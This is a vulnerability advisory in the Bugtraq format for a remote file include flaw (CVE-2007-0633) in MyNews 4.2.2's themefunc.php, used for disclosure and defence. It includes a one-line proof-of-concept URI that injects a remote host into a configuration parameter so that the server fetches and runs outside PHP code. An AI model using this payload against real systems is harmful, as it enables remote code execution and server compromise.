MyNews Themefunc.PHP Remote File Include Vulnerability

BID:22313

Info

MyNews Themefunc.PHP Remote File Include Vulnerability

Bugtraq ID: 22313
Class: Input Validation Error
CVE: CVE-2007-0633
Remote: Yes
Local: No
Published: Jan 30 2007 12:00AM
Updated: May 12 2015 07:34PM
Credit: GolD_M is credited with the discovery of this vulnerability.
Vulnerable: T-Systems Solutions for Research GmbH MyNews 4.2.2
Not Vulnerable:

Discussion

MyNews Themefunc.PHP Remote File Include Vulnerability

MyNews is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

This issue affects MyNews 4.2.2 and prior versions.

Exploit / POC

MyNews Themefunc.PHP Remote File Include Vulnerability

Attackers can exploit this issue via a web client.

The following proof-of-concept URI is available:

http://www.example.com/include/themes/themefunc.php?myNewsConf[path][sys][index]=http://www.example2.com

Solution / Fix

MyNews Themefunc.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

MyNews Themefunc.PHP Remote File Include Vulnerability

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